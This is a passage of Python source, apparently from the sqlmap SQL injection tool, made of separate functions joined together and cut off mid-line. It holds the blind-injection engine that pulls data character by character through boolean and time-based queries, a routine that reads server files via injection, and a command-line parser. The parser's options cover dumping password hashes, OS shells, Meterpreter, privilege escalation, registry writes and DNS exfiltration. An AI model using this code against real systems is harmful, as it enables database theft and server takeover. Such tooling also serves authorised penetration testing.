else: posValue = ord(hintValue[idx - 1]) forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue)) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return hintValue[idx - 1] with hintlock: kb.hintValue = None return None def validateChar(idx, value): """ Used in time-based inference (in case that original and retrieved value are not equal there will be a deliberate delay). """ if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(value)) forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) return not result def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None): """ continuousOrder means that distance between each two neighbour's numerical values is exactly 1 """ result = tryHint(idx) if result: return result if charTbl is None: charTbl = type(asciiTbl)(asciiTbl) originalTbl = type(asciiTbl)(charTbl) if continuousOrder and shiftTable is None: # Used for gradual expanding into unicode charspace shiftTable = [2, 2, 3, 3, 5, 4] if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl: charTbl.remove(ord('\n')) if not charTbl: return None elif len(charTbl) == 1: forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0])) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(charTbl[0]) else: return None maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] while len(charTbl) != 1: position = (len(charTbl) >> 1) posValue = charTbl[position] if CHAR_INFERENCE_MARK not in payload: forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx, posValue)) else: # e.g.: ... > '%c' -> ... > ORD(..) markingValue = "'%s'" % CHAR_INFERENCE_MARK unescapedCharValue = unescaper.escape( "'%s'" % decodeIntToUnicode(posValue)) forgedPayload = safeStringFormat( payload, (expressionUnescaped, idx)).replace( markingValue, unescapedCharValue) result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: minValue = posValue if type(charTbl) != xrange: charTbl = charTbl[position:] else: # xrange() - extended virtual charset used for memory/space optimization charTbl = xrange(charTbl[position], charTbl[-1] + 1) else: maxValue = posValue if type(charTbl) != xrange: charTbl = charTbl[:position] else: charTbl = xrange(charTbl[0], charTbl[position]) if len(charTbl) == 1: if continuousOrder: if maxValue == 1: return None # Going beyond the original charset elif minValue == maxChar: # If the original charTbl was [0,..,127] new one # will be [128,..,(128 << 4) - 1] or from 128 to 2047 # and instead of making a HUGE list with all the # elements we use a xrange, which is a virtual # list if expand and shiftTable: charTbl = xrange( maxChar + 1, (maxChar + 1) << shiftTable.pop()) originalTbl = xrange(charTbl) maxChar = maxValue = charTbl[-1] minChar = minValue = charTbl[0] else: return None else: retVal = minValue + 1 if retVal in originalTbl or ( retVal == ord('\n') and CHAR_INFERENCE_MARK in payload): if timeBasedCompare and not validateChar( idx, retVal): if not kb.originalTimeDelay: kb.originalTimeDelay = conf.timeSec kb.timeValidCharsRun = 0 if (conf.timeSec - kb.originalTimeDelay ) < MAX_TIME_REVALIDATION_STEPS: errMsg = "invalid character detected. retrying.." logger.error(errMsg) conf.timeSec += 1 warnMsg = "increasing time delay to %d second%s " % ( conf.timeSec, 's' if conf.timeSec > 1 else '') logger.warn(warnMsg) if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES: dbgMsg = "turning off time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO return getChar(idx, originalTbl, continuousOrder, expand, shiftTable) else: errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode( retVal) logger.error(errMsg) conf.timeSec = kb.originalTimeDelay return decodeIntToUnicode(retVal) else: if timeBasedCompare: kb.timeValidCharsRun += 1 if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD: dbgMsg = "turning back on time auto-adjustment mechanism" logger.debug(dbgMsg) kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES return decodeIntToUnicode(retVal) else: return None else: if minValue == maxChar or maxValue == minChar: return None # If we are working with non-continuous elements, set # both minValue and character afterwards are possible # candidates for retVal in ( originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]): forgedPayload = safeStringFormat( payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal)) result = Request.queryPage( forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) if result: return decodeIntToUnicode(retVal) return None # Go multi-threading (--threads > 1) if conf.threads > 1 and isinstance(length, int) and length > 1: threadData = getCurrentThreadData() threadData.shared.value = [None] * length threadData.shared.index = [ firstChar ] # As list for python nested function scoping threadData.shared.start = firstChar try: def blindThread(): threadData = getCurrentThreadData() while kb.threadContinue: kb.locks.index.acquire() if threadData.shared.index[0] - firstChar >= length: kb.locks.index.release() return threadData.shared.index[0] += 1 curidx = threadData.shared.index[0] kb.locks.index.release() if kb.threadContinue: charStart = time.time() val = getChar(curidx) if val is None: val = INFERENCE_UNKNOWN_CHAR else: break with kb.locks.value: threadData.shared.value[curidx - 1 - firstChar] = val currentValue = list(threadData.shared.value) if kb.threadContinue: if showEta: progress.progress(time.time() - charStart, threadData.shared.index[0]) elif conf.verbose >= 1: startCharIndex = 0 endCharIndex = 0 for i in xrange(length): if currentValue[i] is not None: endCharIndex = max(endCharIndex, i) output = '' if endCharIndex > conf.progressWidth: startCharIndex = endCharIndex - conf.progressWidth count = threadData.shared.start for i in xrange(startCharIndex, endCharIndex + 1): output += '_' if currentValue[ i] is None else currentValue[i] for i in xrange(length): count += 1 if currentValue[ i] is not None else 0 if startCharIndex > 0: output = '..' + output[2:] if (endCharIndex - startCharIndex == conf.progressWidth) and ( endCharIndex < length - 1): output = output[:-2] + '..' if conf.verbose in ( 1, 2) and not showEta and not hasattr( conf, "api"): _ = count - firstChar output += '_' * ( min(length, conf.progressWidth) - len(output)) status = ' %d/%d (%d%%)' % ( _, length, round(100.0 * _ / length)) output += status if _ != length else " " * len( status) dataToStdout( "\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), filterControlChars(output))) runThreads(numThreads, blindThread, startThreadMsg=False) except KeyboardInterrupt: abortedFlag = True finally: value = [_ for _ in partialValue] value.extend(_ for _ in threadData.shared.value) infoMsg = None # If we have got one single character not correctly fetched it # can mean that the connection to the target URL was lost if None in value: partialValue = "".join(value[:value.index(None)]) if partialValue: infoMsg = "\r[%s] [INFO] partially retrieved: %s" % ( time.strftime("%X"), filterControlChars(partialValue)) else: finalValue = "".join(value) infoMsg = "\r[%s] [INFO] retrieved: %s" % ( time.strftime("%X"), filterControlChars(finalValue)) if conf.verbose in (1, 2) and not showEta and infoMsg and not hasattr( conf, "api"): dataToStdout(infoMsg) # No multi-threading (--threads = 1) else: index = firstChar while True: index += 1 charStart = time.time() # Common prediction feature (a.k.a. "good samaritan") # NOTE: to be used only when multi-threading is not set for # the moment if conf.predictOutput and len( partialValue) > 0 and kb.partRun is not None: val = None commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan( partialValue, asciiTbl) # If there is one single output in common-outputs, check # it via equal against the query output if commonValue is not None: # One-shot query containing equals commonValue testValue = unescaper.escape( "'%s'" % commonValue ) if "'" not in commonValue else unescaper.escape( "%s" % commonValue, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery( query.replace( "[INFERENCE]", "(%s)=%s" % (expressionUnescaped, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: if showEta: progress.progress(time.time() - charStart, len(commonValue)) elif conf.verbose in (1, 2) or hasattr( conf, "api"): dataToStdout( filterControlChars(commonValue[index - 1:])) finalValue = commonValue break # If there is a common pattern starting with partialValue, # check it via equal against the substring-query output if commonPattern is not None: # Substring-query containing equals commonPattern subquery = queries[Backend.getIdentifiedDbms( )].substring.query % (expressionUnescaped, 1, len(commonPattern)) testValue = unescaper.escape( "'%s'" % commonPattern ) if "'" not in commonPattern else unescaper.escape( "%s" % commonPattern, quote=False) query = kb.injection.data[kb.technique].vector query = agent.prefixQuery( query.replace("[INFERENCE]", "(%s)=%s" % (subquery, testValue))) query = agent.suffixQuery(query) result = Request.queryPage( agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False) incrementCounter(kb.technique) # Did we have luck? if result: val = commonPattern[index - 1:] index += len(val) - 1 # Otherwise if there is no commonValue (single match from # txt/common-outputs.txt) and no commonPattern # (common pattern) use the returned common charset only # to retrieve the query output if not val and commonCharset: val = getChar(index, commonCharset, False) # If we had no luck with commonValue and common charset, # use the returned other charset if not val: val = getChar(index, otherCharset, otherCharset == asciiTbl) else: val = getChar(index, asciiTbl) if val is None: finalValue = partialValue break if kb.data.processChar: val = kb.data.processChar(val) partialValue += val if showEta: progress.progress(time.time() - charStart, index) elif conf.verbose in (1, 2) or hasattr(conf, "api"): dataToStdout(filterControlChars(val)) # some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[ -INFERENCE_BLANK_BREAK:].isspace( ) and partialValue.strip(' ')[-1:] != '\n': finalValue = partialValue[:-INFERENCE_BLANK_BREAK] break if (lastChar > 0 and index >= lastChar): finalValue = "" if length == 0 else partialValue finalValue = finalValue.rstrip( ) if len(finalValue) > 1 else finalValue partialValue = None break except KeyboardInterrupt: abortedFlag = True finally: kb.prependFlag = False kb.stickyLevel = None retrievedLength = len(finalValue or "") if finalValue is not None: finalValue = decodeHexValue( finalValue) if conf.hexConvert else finalValue hashDBWrite(expression, finalValue) elif partialValue: hashDBWrite( expression, "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else PARTIAL_HEX_VALUE_MARKER, partialValue)) if conf.hexConvert and not abortedFlag and not hasattr(conf, "api"): infoMsg = "\r[%s] [INFO] retrieved: %s %s\n" % (time.strftime( "%X"), filterControlChars(finalValue), " " * retrievedLength) dataToStdout(infoMsg) else: if conf.verbose in (1, 2) and not showEta and not hasattr(conf, "api"): dataToStdout("\n") if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3: infoMsg = "retrieved: %s" % filterControlChars(finalValue) logger.info(infoMsg) if kb.threadException: raise SqlmapThreadException( "something unexpected happened inside the threads") if abortedFlag: raise KeyboardInterrupt _ = finalValue or partialValue return getCounter( kb.technique), safecharencode(_) if kb.safeCharEncode else _
def udfCreateSupportTbl(self, dataType): debugMsg = "creating a support table for user-defined functions" logger.debug(debugMsg) self.createSupportTbl(self.cmdTblName, self.tblField, dataType)
def readFile(self, remoteFiles): localFilePaths = [] self.checkDbmsOs() for remoteFile in remoteFiles.split(','): fileContent = None kb.fileReadMode = True if conf.direct or isStackingAvailable(): if isStackingAvailable(): debugMsg = "going to read the file with stacked query SQL " debugMsg += "injection technique" logger.debug(debugMsg) fileContent = self.stackedReadFile(remoteFile) elif Backend.isDbms(DBMS.MYSQL): debugMsg = "going to read the file with a non-stacked query " debugMsg += "SQL injection technique" logger.debug(debugMsg) fileContent = self.nonStackedReadFile(remoteFile) else: errMsg = "none of the SQL injection techniques detected can " errMsg += "be used to read files from the underlying file " errMsg += "system of the back-end %s server" % Backend.getDbms() logger.error(errMsg) fileContent = None kb.fileReadMode = False if fileContent in (None, "") and not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) elif isListLike(fileContent): newFileContent = "" for chunk in fileContent: if isListLike(chunk): if len(chunk) > 0: chunk = chunk[0] else: chunk = "" if chunk: newFileContent += chunk fileContent = newFileContent if fileContent is not None: fileContent = decodeHexValue(fileContent, True) if fileContent: localFilePath = dataToOutFile(remoteFile, fileContent) if not Backend.isDbms(DBMS.PGSQL): self.cleanup(onlyFileTbl=True) sameFile = self.askCheckReadFile(localFilePath, remoteFile) if sameFile is True: localFilePath += " (same file)" elif sameFile is False: localFilePath += " (size differs from remote file)" localFilePaths.append(localFilePath) else: errMsg = "no data retrieved" logger.error(errMsg) return localFilePaths
def checkDependencies(): missing_libraries = set() for dbmsName, data in DBMS_DICT.items(): if data[1] is None: continue try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): import _mssql import pymssql if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " warnMsg += "Download from %s" % data[2] logger.warn(warnMsg) elif dbmsName == DBMS.MYSQL: import pymysql elif dbmsName == DBMS.PGSQL: import psycopg2 elif dbmsName == DBMS.ORACLE: import cx_Oracle elif dbmsName == DBMS.SQLITE: import sqlite3 elif dbmsName == DBMS.ACCESS: import pyodbc elif dbmsName == DBMS.FIREBIRD: import kinterbasdb elif dbmsName == DBMS.DB2: import ibm_db_dbi elif dbmsName == DBMS.HSQLDB: import jaydebeapi import jpype elif dbmsName == DBMS.INFORMIX: import ibm_db_dbi except ImportError: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " warnMsg += "%s. Download from %s" % (dbmsName, data[2]) logger.warn(warnMsg) missing_libraries.add(data[1]) continue debugMsg = "'%s' third-party library is found" % data[1] logger.debug(debugMsg) try: import impacket debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " warnMsg += "http://code.google.com/p/impacket/" logger.warn(warnMsg) missing_libraries.add('python-impacket') try: import ntlm debugMsg = "'python-ntlm' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-ntlm' third-party library " warnMsg += "if you plan to attack a web application behind NTLM " warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/" logger.warn(warnMsg) missing_libraries.add('python-ntlm') try: from websocket import ABNF debugMsg = "'python websocket-client' library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'websocket-client' third-party library " warnMsg += "if you plan to attack a web application using WebSocket. " warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/" logger.warn(warnMsg) missing_libraries.add('websocket-client') if IS_WIN: try: import pyreadline debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'pyreadline' third-party library to " warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro" logger.warn(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg)
def cmdLineParser(argv=None): """ This function parses the command line parameters and arguments """ if not argv: argv = sys.argv checkSystemEncoding() # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING") _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding) usage = "%s%s [options]" % ("%s " % os.path.basename(sys.executable) if not IS_WIN else "", "\"%s\"" % _ if " " in _ else _) parser = ArgumentParser(usage=usage) try: parser.add_argument("--hh", dest="advancedHelp", action="store_true", help="Show advanced help message and exit") parser.add_argument("--version", dest="showVersion", action="store_true", help="Show program's version number and exit") parser.add_argument("-v", dest="verbose", type=int, help="Verbosity level: 0-6 (default %d)" % defaults.verbose) # Target options target = parser.add_argument_group("Target", "At least one of these options has to be provided to define the target(s)") target.add_argument("-u", "--url", dest="url", help="Target URL (e.g. \"http://www.site.com/vuln.php?id=1\")") target.add_argument("-d", dest="direct", help="Connection string for direct database connection") target.add_argument("-l", dest="logFile", help="Parse target(s) from Burp or WebScarab proxy log file") target.add_argument("-m", dest="bulkFile", help="Scan multiple targets given in a textual file ") target.add_argument("-r", dest="requestFile", help="Load HTTP request from a file") target.add_argument("-g", dest="googleDork", help="Process Google dork results as target URLs") target.add_argument("-c", dest="configFile", help="Load options from a configuration INI file") # Request options request = parser.add_argument_group("Request", "These options can be used to specify how to connect to the target URL") request.add_argument("-A", "--user-agent", dest="agent", help="HTTP User-Agent header value") request.add_argument("-H", "--header", dest="header", help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") request.add_argument("--method", dest="method", help="Force usage of given HTTP method (e.g. PUT)") request.add_argument("--data", dest="data", help="Data string to be sent through POST (e.g. \"id=1\")") request.add_argument("--param-del", dest="paramDel", help="Character used for splitting parameter values (e.g. &)") request.add_argument("--cookie", dest="cookie", help="HTTP Cookie header value (e.g. \"PHPSESSID=a8d127e..\")") request.add_argument("--cookie-del", dest="cookieDel", help="Character used for splitting cookie values (e.g. ;)") request.add_argument("--load-cookies", dest="loadCookies", help="File containing cookies in Netscape/wget format") request.add_argument("--drop-set-cookie", dest="dropSetCookie", action="store_true", help="Ignore Set-Cookie header from response") request.add_argument("--mobile", dest="mobile", action="store_true", help="Imitate smartphone through HTTP User-Agent header") request.add_argument("--random-agent", dest="randomAgent", action="store_true", help="Use randomly selected HTTP User-Agent header value") request.add_argument("--host", dest="host", help="HTTP Host header value") request.add_argument("--referer", dest="referer", help="HTTP Referer header value") request.add_argument("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") request.add_argument("--auth-type", dest="authType", help="HTTP authentication type (Basic, Digest, NTLM or PKI)") request.add_argument("--auth-cred", dest="authCred", help="HTTP authentication credentials (name:password)") request.add_argument("--auth-file", dest="authFile", help="HTTP authentication PEM cert/private key file") request.add_argument("--ignore-code", dest="ignoreCode", help="Ignore (problematic) HTTP error code (e.g. 401)") request.add_argument("--ignore-proxy", dest="ignoreProxy", action="store_true", help="Ignore system default proxy settings") request.add_argument("--ignore-redirects", dest="ignoreRedirects", action="store_true", help="Ignore redirection attempts") request.add_argument("--ignore-timeouts", dest="ignoreTimeouts", action="store_true", help="Ignore connection timeouts") request.add_argument("--proxy", dest="proxy", help="Use a proxy to connect to the target URL") request.add_argument("--proxy-cred", dest="proxyCred", help="Proxy authentication credentials (name:password)") request.add_argument("--proxy-file", dest="proxyFile", help="Load proxy list from a file") request.add_argument("--tor", dest="tor", action="store_true", help="Use Tor anonymity network") request.add_argument("--tor-port", dest="torPort", help="Set Tor proxy port other than default") request.add_argument("--tor-type", dest="torType", help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))") request.add_argument("--check-tor", dest="checkTor", action="store_true", help="Check to see if Tor is used properly") request.add_argument("--delay", dest="delay", type=float, help="Delay in seconds between each HTTP request") request.add_argument("--timeout", dest="timeout", type=float, help="Seconds to wait before timeout connection (default %d)" % defaults.timeout) request.add_argument("--retries", dest="retries", type=int, help="Retries when the connection timeouts (default %d)" % defaults.retries) request.add_argument("--randomize", dest="rParam", help="Randomly change value for given parameter(s)") request.add_argument("--safe-url", dest="safeUrl", help="URL address to visit frequently during testing") request.add_argument("--safe-post", dest="safePost", help="POST data to send to a safe URL") request.add_argument("--safe-req", dest="safeReqFile", help="Load safe HTTP request from a file") request.add_argument("--safe-freq", dest="safeFreq", type=int, help="Regular requests between visits to a safe URL") request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true", help="Skip URL encoding of payload data") request.add_argument("--csrf-token", dest="csrfToken", help="Parameter used to hold anti-CSRF token") request.add_argument("--csrf-url", dest="csrfUrl", help="URL address to visit for extraction of anti-CSRF token") request.add_argument("--csrf-method", dest="csrfMethod", help="HTTP method to use during anti-CSRF token page visit") request.add_argument("--csrf-retries", dest="csrfRetries", type=int, help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries) request.add_argument("--force-ssl", dest="forceSSL", action="store_true", help="Force usage of SSL/HTTPS") request.add_argument("--chunked", dest="chunked", action="store_true", help="Use HTTP chunked transfer encoded (POST) requests") request.add_argument("--hpp", dest="hpp", action="store_true", help="Use HTTP parameter pollution method") request.add_argument("--eval", dest="evalCode", help="Evaluate provided Python code before the request (e.g. \"import hashlib;id2=hashlib.md5(id).hexdigest()\")") # Optimization options optimization = parser.add_argument_group("Optimization", "These options can be used to optimize the performance of sqlmap") optimization.add_argument("-o", dest="optimize", action="store_true", help="Turn on all optimization switches") optimization.add_argument("--predict-output", dest="predictOutput", action="store_true", help="Predict common queries output") optimization.add_argument("--keep-alive", dest="keepAlive", action="store_true", help="Use persistent HTTP(s) connections") optimization.add_argument("--null-connection", dest="nullConnection", action="store_true", help="Retrieve page length without actual HTTP response body") optimization.add_argument("--threads", dest="threads", type=int, help="Max number of concurrent HTTP(s) requests (default %d)" % defaults.threads) # Injection options injection = parser.add_argument_group("Injection", "These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts") injection.add_argument("-p", dest="testParameter", help="Testable parameter(s)") injection.add_argument("--skip", dest="skip", help="Skip testing for given parameter(s)") injection.add_argument("--skip-static", dest="skipStatic", action="store_true", help="Skip testing parameters that not appear to be dynamic") injection.add_argument("--param-exclude", dest="paramExclude", help="Regexp to exclude parameters from testing (e.g. \"ses\")") injection.add_argument("--param-filter", dest="paramFilter", help="Select testable parameter(s) by place (e.g. \"POST\")") injection.add_argument("--dbms", dest="dbms", help="Force back-end DBMS to provided value") injection.add_argument("--dbms-cred", dest="dbmsCred", help="DBMS authentication credentials (user:password)") injection.add_argument("--os", dest="os", help="Force back-end DBMS operating system to provided value") injection.add_argument("--invalid-bignum", dest="invalidBignum", action="store_true", help="Use big numbers for invalidating values") injection.add_argument("--invalid-logical", dest="invalidLogical", action="store_true", help="Use logical operations for invalidating values") injection.add_argument("--invalid-string", dest="invalidString", action="store_true", help="Use random strings for invalidating values") injection.add_argument("--no-cast", dest="noCast", action="store_true", help="Turn off payload casting mechanism") injection.add_argument("--no-escape", dest="noEscape", action="store_true", help="Turn off string escaping mechanism") injection.add_argument("--prefix", dest="prefix", help="Injection payload prefix string") injection.add_argument("--suffix", dest="suffix", help="Injection payload suffix string") injection.add_argument("--tamper", dest="tamper", help="Use given script(s) for tampering injection data") # Detection options detection = parser.add_argument_group("Detection", "These options can be used to customize the detection phase") detection.add_argument("--level", dest="level", type=int, help="Level of tests to perform (1-5, default %d)" % defaults.level) detection.add_argument("--risk", dest="risk", type=int, help="Risk of tests to perform (1-3, default %d)" % defaults.risk) detection.add_argument("--string", dest="string", help="String to match when query is evaluated to True") detection.add_argument("--not-string", dest="notString", help="String to match when query is evaluated to False") detection.add_argument("--regexp", dest="regexp", help="Regexp to match when query is evaluated to True") detection.add_argument("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") detection.add_argument("--smart", dest="smart", action="store_true", help="Perform thorough tests only if positive heuristic(s)") detection.add_argument("--text-only", dest="textOnly", action="store_true", help="Compare pages based only on the textual content") detection.add_argument("--titles", dest="titles", action="store_true", help="Compare pages based only on their titles") # Techniques options techniques = parser.add_argument_group("Techniques", "These options can be used to tweak testing of specific SQL injection techniques") techniques.add_argument("--technique", dest="technique", help="SQL injection techniques to use (default \"%s\")" % defaults.technique) techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) techniques.add_argument("--union-cols", dest="uCols", help="Range of columns to test for UNION query SQL injection") techniques.add_argument("--union-char", dest="uChar", help="Character to use for bruteforcing number of columns") techniques.add_argument("--union-from", dest="uFrom", help="Table to use in FROM part of UNION query SQL injection") techniques.add_argument("--dns-domain", dest="dnsDomain", help="Domain name used for DNS exfiltration attack") techniques.add_argument("--second-url", dest="secondUrl", help="Resulting page URL searched for second-order response") techniques.add_argument("--second-req", dest="secondReq", help="Load second-order HTTP request from file") # Fingerprint options fingerprint = parser.add_argument_group("Fingerprint") fingerprint.add_argument("-f", "--fingerprint", dest="extensiveFp", action="store_true", help="Perform an extensive DBMS version fingerprint") # Enumeration options enumeration = parser.add_argument_group("Enumeration", "These options can be used to enumerate the back-end database management system information, structure and data contained in the tables") enumeration.add_argument("-a", "--all", dest="getAll", action="store_true", help="Retrieve everything") enumeration.add_argument("-b", "--banner", dest="getBanner", action="store_true", help="Retrieve DBMS banner") enumeration.add_argument("--current-user", dest="getCurrentUser", action="store_true", help="Retrieve DBMS current user") enumeration.add_argument("--current-db", dest="getCurrentDb", action="store_true", help="Retrieve DBMS current database") enumeration.add_argument("--hostname", dest="getHostname", action="store_true", help="Retrieve DBMS server hostname") enumeration.add_argument("--is-dba", dest="isDba", action="store_true", help="Detect if the DBMS current user is DBA") enumeration.add_argument("--users", dest="getUsers", action="store_true", help="Enumerate DBMS users") enumeration.add_argument("--passwords", dest="getPasswordHashes", action="store_true", help="Enumerate DBMS users password hashes") enumeration.add_argument("--privileges", dest="getPrivileges", action="store_true", help="Enumerate DBMS users privileges") enumeration.add_argument("--roles", dest="getRoles", action="store_true", help="Enumerate DBMS users roles") enumeration.add_argument("--dbs", dest="getDbs", action="store_true", help="Enumerate DBMS databases") enumeration.add_argument("--tables", dest="getTables", action="store_true", help="Enumerate DBMS database tables") enumeration.add_argument("--columns", dest="getColumns", action="store_true", help="Enumerate DBMS database table columns") enumeration.add_argument("--schema", dest="getSchema", action="store_true", help="Enumerate DBMS schema") enumeration.add_argument("--count", dest="getCount", action="store_true", help="Retrieve number of entries for table(s)") enumeration.add_argument("--dump", dest="dumpTable", action="store_true", help="Dump DBMS database table entries") enumeration.add_argument("--dump-all", dest="dumpAll", action="store_true", help="Dump all DBMS databases tables entries") enumeration.add_argument("--search", dest="search", action="store_true", help="Search column(s), table(s) and/or database name(s)") enumeration.add_argument("--comments", dest="getComments", action="store_true", help="Check for DBMS comments during enumeration") enumeration.add_argument("--statements", dest="getStatements", action="store_true", help="Retrieve SQL statements being run on DBMS") enumeration.add_argument("-D", dest="db", help="DBMS database to enumerate") enumeration.add_argument("-T", dest="tbl", help="DBMS database table(s) to enumerate") enumeration.add_argument("-C", dest="col", help="DBMS database table column(s) to enumerate") enumeration.add_argument("-X", dest="exclude", help="DBMS database identifier(s) to not enumerate") enumeration.add_argument("-U", dest="user", help="DBMS user to enumerate") enumeration.add_argument("--exclude-sysdbs", dest="excludeSysDbs", action="store_true", help="Exclude DBMS system databases when enumerating tables") enumeration.add_argument("--pivot-column", dest="pivotColumn", help="Pivot column name") enumeration.add_argument("--where", dest="dumpWhere", help="Use WHERE condition while table dumping") enumeration.add_argument("--start", dest="limitStart", type=int, help="First dump table entry to retrieve") enumeration.add_argument("--stop", dest="limitStop", type=int, help="Last dump table entry to retrieve") enumeration.add_argument("--first", dest="firstChar", type=int, help="First query output word character to retrieve") enumeration.add_argument("--last", dest="lastChar", type=int, help="Last query output word character to retrieve") enumeration.add_argument("--sql-query", dest="sqlQuery", help="SQL statement to be executed") enumeration.add_argument("--sql-shell", dest="sqlShell", action="store_true", help="Prompt for an interactive SQL shell") enumeration.add_argument("--sql-file", dest="sqlFile", help="Execute SQL statements from given file(s)") # Brute force options brute = parser.add_argument_group("Brute force", "These options can be used to run brute force checks") brute.add_argument("--common-tables", dest="commonTables", action="store_true", help="Check existence of common tables") brute.add_argument("--common-columns", dest="commonColumns", action="store_true", help="Check existence of common columns") brute.add_argument("--common-files", dest="commonFiles", action="store_true", help="Check existence of common files") # User-defined function options udf = parser.add_argument_group("User-defined function injection", "These options can be used to create custom user-defined functions") udf.add_argument("--udf-inject", dest="udfInject", action="store_true", help="Inject custom user-defined functions") udf.add_argument("--shared-lib", dest="shLib", help="Local path of the shared library") # File system options filesystem = parser.add_argument_group("File system access", "These options can be used to access the back-end database management system underlying file system") filesystem.add_argument("--file-read", dest="fileRead", help="Read a file from the back-end DBMS file system") filesystem.add_argument("--file-write", dest="fileWrite", help="Write a local file on the back-end DBMS file system") filesystem.add_argument("--file-dest", dest="fileDest", help="Back-end DBMS absolute filepath to write to") # Takeover options takeover = parser.add_argument_group("Operating system access", "These options can be used to access the back-end database management system underlying operating system") takeover.add_argument("--os-cmd", dest="osCmd", help="Execute an operating system command") takeover.add_argument("--os-shell", dest="osShell", action="store_true", help="Prompt for an interactive operating system shell") takeover.add_argument("--os-pwn", dest="osPwn", action="store_true", help="Prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-smbrelay", dest="osSmb", action="store_true", help="One click prompt for an OOB shell, Meterpreter or VNC") takeover.add_argument("--os-bof", dest="osBof", action="store_true", help="Stored procedure buffer overflow " "exploitation") takeover.add_argument("--priv-esc", dest="privEsc", action="store_true", help="Database process user privilege escalation") takeover.add_argument("--msf-path", dest="msfPath", help="Local path where Metasploit Framework is installed") takeover.add_argument("--tmp-path", dest="tmpPath", help="Remote absolute path of temporary files directory") # Windows registry options windows = parser.add_argument_group("Windows registry access", "These options can be used to access the back-end database management system Windows registry") windows.add_argument("--reg-read", dest="regRead", action="store_true", help="Read a Windows registry key value") windows.add_argument("--reg-add", dest="regAdd", action="store_true", help="Write a Windows registry key value data") windows.add_argument("--reg-del", dest="regDel", action="store_true", help="Delete a Windows registry key value") windows.add_argument("--reg-key", dest="regKey", help="Windows registry key") windows.add_argument("--reg-value", dest="regVal", help="Windows registry key value") windows.add_argument("--reg-data", dest="regData", help="Windows registry key value data") windows.add_argument("--reg-type", 